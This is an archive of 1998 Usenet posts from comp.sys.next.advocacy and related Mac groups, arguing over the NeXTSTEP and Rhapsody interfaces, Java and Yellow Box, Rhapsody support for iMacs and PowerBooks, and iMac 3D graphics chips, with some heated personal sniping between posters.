Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
"Perceive the need."
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <forrestDELETE-THIS!-2606982103030001@term3-12.vta.west.net>
References: <tLVk1.3$Oe1.54453@proxye1.san.rr.com> <1998062701245600.VAA07817@ladder03.news.aol.com>
Organization: Obsidian Design / Static Dreams Interactive
Date: Sat, 27 Jun 1998 04:09:00 GMT
NNTP-Posting-Date: Fri, 26 Jun 1998 21:09:00 PDT
In article <1998062701245600.VAA07817@ladder03.news.aol.com>,
willadams@aol.com (WillAdams) wrote:
> If anyone would like to point out particulars where they feel that the NeXT
> inteface falls down, please cite them specifically.
Small monitors. The verticle menu bars, paned windows, and huge icons
wreak horrors on <17" monitors. My soloution to this? Scalable icons, a
horizontal menu bar + verticle tear-off menus (including the ability to
tear off the whole bar), and just DON'T DO PANES! I hate panes, even on
large screens. I just find them generally annoying. Well, they're ok in
limited usage, but people rarely get them right (and I'll admit that I
haven't seen enough of NeXT systems to judge whether they did it right or
not).
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 27 Jun 1998 04:24:48 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6n1s6g$ldf$1@ndnws01.ne.highway1.com>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
> John Kheit wrote:
> > > Eh? You don't accept my month's work. That would be funny if
> > > it weren't so boorish.
> >
> > And that line would be clever it weren't so repetitive, droll,
> > and empty in its rhetoric.
> Draw your own conclusions. It meant something.
I did, and the conclusion is right above, and right on target. I
can keep repeating it for you too.
> > Poit? That's a phantom of your creation that missess what I
> > said. I did *not* like NeXTSTEP when I first started using
> > it. As I said above. And I didn't grow to like it for several
> > months. And I didn't like it for several months in part,
> > because of being used to another system that I was still using
> > as my *primary* system. I could never give NeXTSTEP a fair
> > chance till I lost the 2fx, because my lazy nature kept bringing
> > me back to my other system even when I could dink around with
> > NeXTSTEP. Not till I was forced to use it as my primary system
> > for a while did I *get it.*
> I've never used any one system as my *primary* system, not since
> I had my first Atari 800. Yet I've switched many times. Your
> special circumstance that says you must be deprived of other
> options to accept NEXTSTEP sounds shaky, indeed. In fact, it
> sounds stupid. If the system has merits, let them be self-evident.
> Otherwise, your whole case is built on bias.
I'm sure the idea that the world wasn't flat sounded shakey to
others with closed minds about how things must work. I'm sure it
sounded stupid too. On the other hand, I really am happy you feel
differently. I hope you're secure in how right you are, condeming
you to that ignorance seems proper punishment for your asinine and
trite attempts to wit. At this point, through your rudeness,
it's rewarding to see you come up one stick short at every attempt.
> > Now that doesn't mean everyone that will give it a try as their
> > primary system, that's forced to use it, will learn to appreciate
> > it. Different strokes and all that. I'm just saying it's
> > tough to be really objective when you're using another system
> > you are more used to as your primary setup.
> I'll leave that for others to judge for themselves. I know what
> I think. It doesn't bother me if you think differently.
You're on the right track. Clearly you won't come up with anything
of merit through your own enterprise.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.next.advocacy
Subject: Java & YB (was Re: Next purchase a mistake)
Date: Sat, 27 Jun 1998 14:51:50 +1000
Organization: OzEmail Ltd.
Message-ID: <6n1tmn$vab$1@reader1.reader.news.ozemail.net>
References: <6mkd25$8c44@odie.mcleod.net> <6n08ie$s8s$1@reader1.reader.news.ozemail.net> <6n0as3$i33$2@supernews.com>
John C. Randolph wrote in message <6n0as3$i33$2@supernews.com>...
>There's just this one little problem with this strategy:
>JAVA SUCKS!
And the problem with that is - the fact it sucks does not matter!
It has developer support and mindshare.
An earlier poster had said that you could write to Java now, and use YB.
Then if YB died, you could still use all your code, but you'd have to
write the bits that YB had done for you.
I'm assuming that is true!?
Now, if a 3rd party (GNUStep?) did that for you already, you'd be
able to write straight to YB and get some great speed. AND you'd also
be able to deploy on all Java platforms using the 3rd party Java code,
at the reduced Java speed.
Basically, Apple could say "we are the ultimate place to
build Java applications. Rapid development, near native
speeds on several supported platforms, and able to run
on every Java device."
So it doesn't matter that Java sucks.
Developers want Java at the moment. If YB makes
Java run much better then that is brilliant, even if
it becomes less efficient than OpenStep was.
(Hopefully they can keep both...)
Greg
From: chris@prometheus (Christian Benesch)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on the iMac? (was Re: Tell Apple to make Rhapsody compatible with PBG3s)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: devnull@occam.com
References: <6mrrvu$35s$2@oak.prod.itd.earthlink.net> <6mugru$eq3$1@news.cmc.net>
Message-ID: <359479ad.0@news.telekabel.at>
Date: 27 Jun 1998 06:48:45 +0100
Newly updated FAQ about Rhapsody ->
http://gemma.apple.com/rhapsody/rhapfaq/11.html
<quote>
Which computer systems are supported by the Rhapsody Developer Release for
Power Macintosh?
The inital Rhapsody Developer Release for Power Macintosh supports Power
Macintosh 8500 and 8600 systems as well as Power Macintosh 9500 and 9600
systems which use an Apple supplied display video card.
The systems which are officially supported, include Power Macintosh:
8500/120,8500/132,8500/150,8500/180 8600/200, 8600/300,
9500/120,9500/132,9500/150,9500/180,9500/180MP*,9500/200
9600/200,9600/200MP*,9600/233, 9600/300, 9600/350 *This multiprocessor model
will support the Rhapsody Developer Release but will make use of only one
processor. (Some unqualified systems may run Rhapsody Developer Release for
Power Macintosh)
The second Developer Release adds support for all currently shipping G3
Minitowers and desktops.€ However, it is not currently possible to use an
Ultra-Wide SCSI drive as your boot device when installing Rhapsody.
Created: 10/8/97
Modified: 11/19/97
Will the Rhapsody Developer Release support PowerBooks?
PowerBook systems are not officially supported as part of the current
Developer Releases. However, some _individuals_ have had success running the
second developer release on PowerBook 3400 and early PowerBook G3 models. The
current release will not run on the "Wall Street" family of PowerBooks.
Created: 10/8/97
Modified: 6/20/98
__How will Rhapsody support PowerBooks, and when?
Rhapsody 1.0 may run on some models of PowerBooks. However, it will not be
fully tuned to service the special power conservation requirements of
battery-powered computers in its initial release. The new I/O architecture,
I/O Kit, which has the power management features necessary for full support
of PowerBooks, will not be implemented until Mac OS X.
Created: 10/8/97
Modified: 6/20/98
<quote>
It doesn't specifically mention the iMac, but I should think it goes as
*currently shipping G3 desktop".
If it doesn't, well, it's only about Developer Release 2, Costumer Release
might add some systems yet .
Hopefully. I really *need* it running on a WallStreet Powerbook, power
management or no power management.
Christian Benesch
a9226931@unet.univie.ac.at
In <6mugru$eq3$1@news.cmc.net> Leon von Stauber wrote:
> In <6mrrvu$35s$2@oak.prod.itd.earthlink.net> "Ziya Oz" wrote:
> >Here's what Apple says about Rhapsody and PowerBook G3 compatibility:
> >
> >"Engineering is currently working on support for the new PowerBook G3
> systems,
> >however we don't know if that will be in Rhapsody 1.0 or not. If Rhapsody
> 1.0
> >does include support for PowerBooks, it will be limited support and will
not
> >include power management."
> >
> >So if you wanted to try out Rhapsody or WebObjects on your PBG3 and take
it
> out
> >to show them to colleagues and clients, as of now, you're out of luck.
> >
> >If you believe that Rhapsody CR1 should be compatible with PBG3s, won't
you
> take
> >a minute a send an email (to the address below) to remind Apple that it is
a
> >good idea:
> >
> >dts@apple.com
>
> This is a copy of some mail I sent to <dts@apple.com>:
>
> I just encountered this quote attributed to someone from Apple:
>
> >"Engineering is currently working on support for the new PowerBook G3
> >systems, however we don't know if that will be in Rhapsody 1.0 or not. If
> >Rhapsody 1.0 does include support for PowerBooks, it will be limited
support
> >and will not include power management."
>
> If true, this is *exceedingly* disheartening news. I believe that
> Apple has promised from the beginning that Rhapsody would run on
> every Mac being shipped upon release. If Apple reneges on this
> promise, I (and many others) will be very displeased.
>
> I don't own a PowerBook, nor do I intend to in the immediate
> future. However, this causes me concern for Rhapsody support of the
> iMac, which I intend to purchase as soon as it's available. Others
> have claimed that Rhapsody support for the iMac is iffy, but I
> haven't paid much attention, relying on the promise Apple made
> long ago and has since reiterated many times.
>
> I am especially concerned since the iMac is built with the same
> logic board as the PowerBook G3.
>
> As a long-time NEXTSTEP user, my only reason to buy a Mac is to
> run Rhapsody on the best system for it. Until the higher-end
> systems show more signs of advanced design (multiprocessing
> capability, built-in FireWire, built-in 100BT Ethernet, built-in
> USB, better built-in SCSI, higher bus speeds, etc.), I have no
> intention of spending the additional money for a machine that will
> be close to obsolete in a year.
>
> The iMac allows me to buy a cleanly-designed machine at a decent
> price, with the bonus of a cool chassis. However, if Rhapsody
> won't run on it, I'll have to reconsider my purchasing plans.
>
> Speculation on this issue is rampant. If Apple means to live up
> to promises made, then those promises should be stated loud and
> clear at this time. If not, then I won't be the only one who'll
> feel cheated when Rhapsody 1.0 is released.
>
> _______________________________________________________________
> Leon von Stauber http://www.occam.com/leonvs/
> Occam's Razor, Game Designer <com.occam@leonvs>
> Metapath Software, UNIX System Admin <com.metapath@lvonstau>
> "We have not come to save you, but you will not die in vain!"
>
>
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: 26 Jun 1998 23:45:05 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6n1bq1$1m6$1@new-news.cc.brandeis.edu>
References: <1998062420335100.QAA22169@ladder03.news.aol.com> <forrestDELETE-THIS!-2406981804360001@term3-9.vta.west.net> <359203c1.0@nnrp1.news.uk.psi.net>
In article <359203c1.0@nnrp1.news.uk.psi.net> richard@brainstorm.co.uk. (Richard Frith-Macdonald) writes:
[snip]
>Not even close - the NeXT icons are much larger and clearer and easy
>to find. Plus - when wanting to work with a hidden app, you just move
>the mouse to its icon (which is large, and stays in one place - so
>it's easy to find) and double-click - in MacOS you have to move the
>mouse over to the right of the screen, pull up the aplications menu
>and find the application you want (which has a small icon, which may
>well have moved in the menu if you have started a new app or closed
>one down since you last used it) and select it.
>The process on the MacOS always takes me at least twice as long as
>on NeXTstep - OK, it seems trivial, but it makes a great difference
>to the feel of the system.
[snip]
64x64 does make a lot of sense for icons on screens nowadays (esp. when
notebooks are now 1024x768 and up).
The MacOS has always had a number of app-switching add-ons, which I could
never live without. Liteswitch (free) does the command-tab switching with
added Command-Q and Command-W batch quit and hiding of running processes
while in Command-Tab, Switcher (shareware) does something similar,
ApplWindows (freeware) pops up the Application menu anywhere (nice with a
4-buttom mouse, assign it to a button), and there are control strips for
application switching iconographically, and Kensington's mouse software
will also pop up a subset of the application menu if you like. I use a
combination of the above. I can't use the MacOS productively out of the
box...
8.5 has a tear-off applicaion menu with the foreground application's name
joining the icon in the menu bar, and I hear Rhapsody will have the same.
I think that palette-style tear off menus are visually distracting because
it destroys depth with them always floating, always a subtle distraction.
NeXT did it much better by making them just lists, no widgets to distract
you. I fear Apple may stick with the palette...
--
Nathan Raymond
http://www.everythingmac.com
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Sat, 27 Jun 1998 01:45:16 -0700
Message-ID: <see-below-2706980145170001@dynamic5.pm04.mv.best.com>
References: <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com> <6mqfm1$7c5$3@ns3.vrx.net> <6mr6lg$k2b$3@hecate.umd.edu> <*johnnyc*-2606982109170001@jchristie.halifaxcable.dal.ca>
In article <*johnnyc*-2606982109170001@jchristie.halifaxcable.dal.ca>,
*johnnyc*@or.psychology.dal.ca (John Christie) wrote:
> It does not have a DAV port. There was one mock up floating around
> (that did not work) that had a DAV port. However, other models do not
> have one. In addition, this would be silly for Apple to include since
> they have publicly committed to AGP (probably the closest thing to DAV).
> There are also mock ups with VGA ports.
> All we can say is likely in the thing is what Apple has told us and
> what has been common across all of the mockups. The processor will be
> upgradeable and it is conceivable some type of expansion could be added.
> But, there is no way to tell what that would be given the current mock
> ups.
Thanks for clearing this up. I was wondering why I hadn't heard about this
DAV thing being on the iMac before.
> Finally, it is fascinating that all of this hoopla has been spawned
> from someone's desire for RagePro instead of Rage II. It has Rage II
> planned currently. That is clearly a bad move. Since Rage Pro can play
> with Voodoo if it has a G3 to haul its sorry ass around it is sad Apple
> doesn't include it. It would cut into margins only slightly. And, most
> Mac **casual** gamers would have a hard time telling the difference
> between it and Voodoo II (in the near term) in 3D and it has so many other
> features (MPEG capabilities needed for DVD for one).
Very true. I don't think moving to a non-ATI solution is very realistic
right now, and I do think Rage Pro will be acceptable. Also, as you say,
its price and additional features might even make it the preferred chip
for a machine like the iMac anyway, despite its relative slowness in some
3D games.
> Yet, we end up in battles over the deficiencies of Rage Pro when the
> machine isn't even going to have it!
Hehe! Well, I guess that is just part of the education process, since most
people haven't been keeping tabs on the current 3D accelerator market. It
kind of puts into perspective any arguments about Rage Pro being the
latest, greatest "high end" 3D chip, or whether or not Rage II would be
even remotely acceptable (ie, if Rage Pro is today's barely-adequate,
nearly-obscolescent, el-cheapo bottom end, it's easier to see that the 3x
slower, 2-year old Rage II must be pretty much worthless).
> And, you get PC fans complaining the drivers will be bad because they
> are on a PC. Even though the way Mac drivers are constructed is
> completely different and they have been around (trouble free) for years.
I agree. While I doubt the difference in drivers can suddenly make Rage
Pro perform miraculous feats of speed on the Mac when it's known to be
pretty slow on Windows, I do agree that their stability and maturity on
Windows has no bearing on such aspects of the Mac drivers.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy
Subject: Q: OpenDoc & Carbon
Message-ID: <k05l1.1157$Oe1.462607@proxye1.san.rr.com>
Date: Sat, 27 Jun 1998 11:50:40 GMT
NNTP-Posting-Date: Sat, 27 Jun 1998 04:50:40 PDT
Organization: TWC Road Runner, San Diego, CA
I was just having an odd thought, not unusual, and was wondering if OpenDoc
could be ported to MacOS X via the Carbon API's.
Certainly it would depend on having the source code and likely face massive
opposition from Apple via its legal dept. But I'm wondering if it would be
technically possible or not.
--Ed.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998062712005000.IAA23945@ladder03.news.aol.com>
Date: 27 Jun 1998 12:00:50 GMT
Organization: AOL http://www.aol.com
References: <forrestDELETE-THIS!-2606982103030001@term3-12.vta.west.net>
In response to my request that people iterate their perceptions of failings of
the NeXT UI, -Forrest Cameranesi said:
>Small monitors
I'm not sure how valid this is, given that the UI was designed for a 17"
display, and it's now possible to get a mid-range laptop with very nearly as
much screen real-estate.
I have argued for a scalable dpi setting to the interface with multiple dpi
settings though, mostly for user convenience, but will agree that accomodating
people with older equipment is a nice side affect.
I wouldn't want to foist a horizontal menu bar on a small screen
though--instead drag all but a pixel of the menu off-screen and use the
right-button pop-up menu.
I'm uncertain as to what you mean by "panes" you don't mean a tiled interface
with no overlapping, a la Oberon? The NeXT UI is nothing like that.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Java & YB (was Re: Next purchase a mistake)
Message-ID: <1998062712050000.IAA24136@ladder03.news.aol.com>
Date: 27 Jun 1998 12:05:00 GMT
Organization: AOL http://www.aol.com
References: <6n1tmn$vab$1@reader1.reader.news.ozemail.net>
Actually, wasn't Jayson Adams and his company NetCode re-creating the AppKit
for Java? Then NetScape bought them--any idea what's happening with this? It
was called the Internet Foundation Classes or some such.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Sat, 27 Jun 1998 09:23:49 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-2706980923490001@jchristie.halifaxcable.dal.ca>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <358B2EA3.58A5FA0F@spamtoNull.com> <slrn6or9ib.h0d.sal@panix3.panix.com> <358E87AC.E71448B3@spamtoNull.com> <slrn6ota05.mvv.sal@panix3.panix.com>
In article <slrn6ota05.mvv.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> On Mon, 22 Jun 1998 16:30:39 GMT, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> >They should. Every new Mac gets ATI *software* tech, as well as the
> >hardware.
>
> This is pure fud. Can you post anything showing that the ATI drivers that
> Apple ships are buggy?
>
> >not to mention how bad the visual quality is by comparison.
>
> Liar.
>
> From http://www.tomshardware.com/atixpert.html
>
> "ATI's Rage Pro also offers a very good 3D image quality, making it the
> only other chip next to the 3Dfx Voodoo,"
Now, of course there are other chipsets better than Voodoo currently so
this was obviously an old review. One point to make though, the ATI is
much more CPU intensive to get that quality. I think Accelerate Your Mac
(could be wrong) was the page that recently went through comparisons of
RagePro and Voodoo on the Mac. On less than optimal hardware the Voodoo
was far and away the superior card. However, when coupled with a G3 or
high end 604e the RagePro was better. This is because while the Voodoo
off loads much of the processing that also means it cannot benefit as much
from a faster processor.
I don't know if this is true in the PC world. Maybe the drivers are
written differently. They certainly must be to some extent because on the
Mac all you can make is RAVE comparisons of this stuff.
The iMac will ship with a G3. It will easily create terrific 3D
graphics IF they also ship RagePro on board. We really should petition.
Has anyone thought there might be a heat issue considering the board is
in the case with the monitor.
Finally, the ATI has very good 2D. Voodoo and the like cannot help
here so while they may be inexpensive they would require separate 2D
accelerators inflating the price.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <6mucfv$abh$1@news.spacelab.net> <6n13tj$efl$1@hole.sdsu.edu> <3594142B.EA1AB415@nstar.net>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <3594b43e.0@nnrp1.news.uk.psi.net>
Date: 27 Jun 98 08:58:38 GMT
Michael Peck <mjpeck@nstar.net> wrote:
>tomlinson wrote:
>>
>> Charles W. Swiger (chuck@codefab.com) wrote:
>>
>> : Rhapsody's GUI is not similiar to NEXTSTEP's GUI.
<SNIP>
>It's not. Chuck, tell us what changed from NEXTSTEP to Rhapsody DR1.
>John's "pinstrip" menu bar, Apple's icons inserted, no dock, Apple's
>scrollbar graphics. Did I miss anything?
Quite a few things - and if you are going to dispute the assertion that
'Rhapsody's GUI is not similiar to NEXTSTEP's GUI' you may as well say
that 'Windows-95s GUI is not similiar to NEXTSTEP's GUI' is false too.
All GUIs have stuff in common.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Sat, 27 Jun 1998 06:01:24 -0700
Message-ID: <see-below-2706980601240001@dynamic5.pm04.mv.best.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <358B2EA3.58A5FA0F@spamtoNull.com> <slrn6or9ib.h0d.sal@panix3.panix.com> <358E87AC.E71448B3@spamtoNull.com> <slrn6ota05.mvv.sal@panix3.panix.com> <*johnnyc*-2706980923490001@jchristie.halifaxcable.dal.ca>
In article <*johnnyc*-2706980923490001@jchristie.halifaxcable.dal.ca>,
*johnnyc*@or.psychology.dal.ca (John Christie) wrote:
> Now, of course there are other chipsets better than Voodoo currently so
> this was obviously an old review. One point to make though, the ATI is
> much more CPU intensive to get that quality. I think Accelerate Your Mac
> (could be wrong) was the page that recently went through comparisons of
> RagePro and Voodoo on the Mac. On less than optimal hardware the Voodoo
> was far and away the superior card. However, when coupled with a G3 or
> high end 604e the RagePro was better. This is because while the Voodoo
> off loads much of the processing that also means it cannot benefit as much
> from a faster processor.
That's only at the default clock rate. If you overclock a Voodoo card (and
they work fine that way, both Techworks and Diamond cards always work
reliably at 57MHz+ vs the default 50MHz, and most others do as
well--mine's always at 60MHz with no problems, and a large proportion of
3Dfx owners do this also) you can get significant extra performance,
particularly on a faster computer. Many people with 200MHz+ 604e machines
report jumps of up to 10fps simply by overclocking and changing the
swapbuffer interval (so it doesn't need to sync with monitor refresh).
This keeps the original 3Dfx Voodoo Graphics substantially ahead of the
ATI cards on all machines (despite being almost a year older than Rage
Pro).
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 27 Jun 1998 13:30:43 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <6n2s63$k8j$2@supernews.com>
References: <slrn6p7kds.jlt.sal@panix3.panix.com> <1998062617481800.NAA16569@ladder01.news.aol.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: willadams@aol.com
WillAdams may or may not have said:
-> One final consideration here--let's not forget that the original Mac
shipped
-> with 128KB of RAM, and that QuickDraw and a lot of the system was
-> hand-compiled?!? Pascal.
No, QD was some of the tightest hand-coded 68K assembly code ever shipped.
It used Pascal calling conventions, but the code was all assembled.
-> The original Puzzle desk accessory almost didn't make it because it was
too
-> large at 3KB or so, so Andy Hertzfeld (or was it Burrell? No, he was the
-> hardware guy) re-coded it over a weekend in assembly language--800bytes or
so.
->
-> I don't think that the overhead of OOP would've been an option at the
price
-> point Jobs was trying for (even if they had cut the margins down from
40%?!?).
Certainly not in 1984. (Unless that OO system was done in Forth. It's
*amazing* how compact objects in Forth can be.)
-jcr
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: Sat, 27 Jun 1998 09:14:26 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3594FE42.F137BD6B@nstar.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu>
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NNTP-Posting-Date: 27 Jun 1998 14:19:26 GMT
Gregory Loren Hansen wrote:
> > Jobs said something prophetic once that no one seems to comment on - he
> >said that current tools tend to wrap low level functionality in a graphic,
> >and that simply doesn't help. I tried ProGraph, I really did, but I simply
> >don't see the advantage of having an IF statement represted as an icon rather
> >than text.
What are the advantages of functional programming if you can't
diagrammatically represent your logic, Maury? You think it's better to
use a language-dependent representation that to draw the Post form of a
conditional?
> I surely don't see the use in representing an IF statement with an icon!
> But my brother was showing my Delphi one day. And I really do like the
> idea of making a window, dragging a button onto it, then clicking on the
> button which pops up a text window full of
> create-button-in-a-window-and-wait-until-someone-hits-it code,
> so you can fill in the empty function that is executed when the
> user presses the button.
All of which is very useful, but only for event-driven code. The problem
with such RAD tools is that they tend to cram the developer into a
single mode of development, i.e. "my application is a big form for
pushing buttons and entering text". I find that such tools are only
marginally more useful than, say, a Web browser that supports forms.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Date: Sat, 27 Jun 1998 09:15:58 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3594FE9E.A1E9A0EE@nstar.net>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <6mpkdi$6on$1@supernews.com> <atlauren-2306982016050001@jungleland.acs.uci.edu> <35bbb632.268506081@news.nai.net> <atlauren-2606981828160001@jungleland.acs.uci.edu> <atlauren-2606982052290001@192.168.1.1>
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Andrew Laurence wrote:
> I just learned that this has already begun to happen. Apparently a little
> company named Ericsson is only developing their systems for NT now. Why?
> With the advent of MS' VisualStudio, developing for NLMs was just too
> bloody hard.
Which systems? I was just hired to work on the Linux port of some of our
Intelligent Network middleware. I hope you're not saying I'll be out of
a job, come Monday :-)
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Sat, 27 Jun 1998 09:36:24 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35950368.F8A5D7A7@nstar.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com>
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NNTP-Posting-Date: 27 Jun 1998 14:41:23 GMT
John Kheit wrote:
> I'm sure the idea that the world wasn't flat sounded shakey to
> others with closed minds about how things must work.
Oh, ok. Discovering that you couldn't evaluate NEXTSTEP among other
choices and projecting it onto others as normative is like discovering
that the world is round. Quit while you're ahead, John.
> I'm sure it
> sounded stupid too. On the other hand, I really am happy you feel
> differently. I hope you're secure in how right you are, condeming
> you to that ignorance seems proper punishment for your asinine and
> trite attempts to wit. At this point, through your rudeness,
> it's rewarding to see you come up one stick short at every attempt.
Ease up, there, tiger. You've got to make a *case* for something before
you can start crowing about your victory.
> > I'll leave that for others to judge for themselves. I know what
> > I think. It doesn't bother me if you think differently.
>
> You're on the right track. Clearly you won't come up with anything
> of merit through your own enterprise.
Clearly. Since the subject of this thread seems to be laughter, and I've
never had much of a mind for self-parody, I take you to be an author
worth repeating.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Sat, 27 Jun 1998 09:36:41 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35950379.1CA9B26E@nstar.net>
References: <tLVk1.3$Oe1.54453@proxye1.san.rr.com> <1998062701245600.VAA07817@ladder03.news.aol.com> <forrestDELETE-THIS!-2606982103030001@term3-12.vta.west.net>
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NNTP-Posting-Date: 27 Jun 1998 14:41:41 GMT
Forrest Cameranesi wrote:
>
> In article <1998062701245600.VAA07817@ladder03.news.aol.com>,
> willadams@aol.com (WillAdams) wrote:
>
> > If anyone would like to point out particulars where they feel that the NeXT
> > inteface falls down, please cite them specifically.
>
> Small monitors. The verticle menu bars, paned windows, and huge icons
> wreak horrors on <17" monitors.
Use of windows for *everything*. Some of us don't like tear-off menus
because they become *windows*. On even a 17" monitor, space gets scarce
in a hurry. Oh, how nice that to change a font I have to open a new
window. Oh, how nice that it's not really a dialog; clicking "set"
changes the font, not closing the dialog with "OK"; obviously, the
window is intended to stay open as a resident "inspector".
I used to start up applications on my Cube and just open all the
inspectors I could find, just to save time later hunting for the
appropriate *window* to throw open just to get functionality that
*should* have been a top-level menu item.
The only problem was that the menus were *crammed* full of totally
useless items like grayed-out services, standard menu items that the
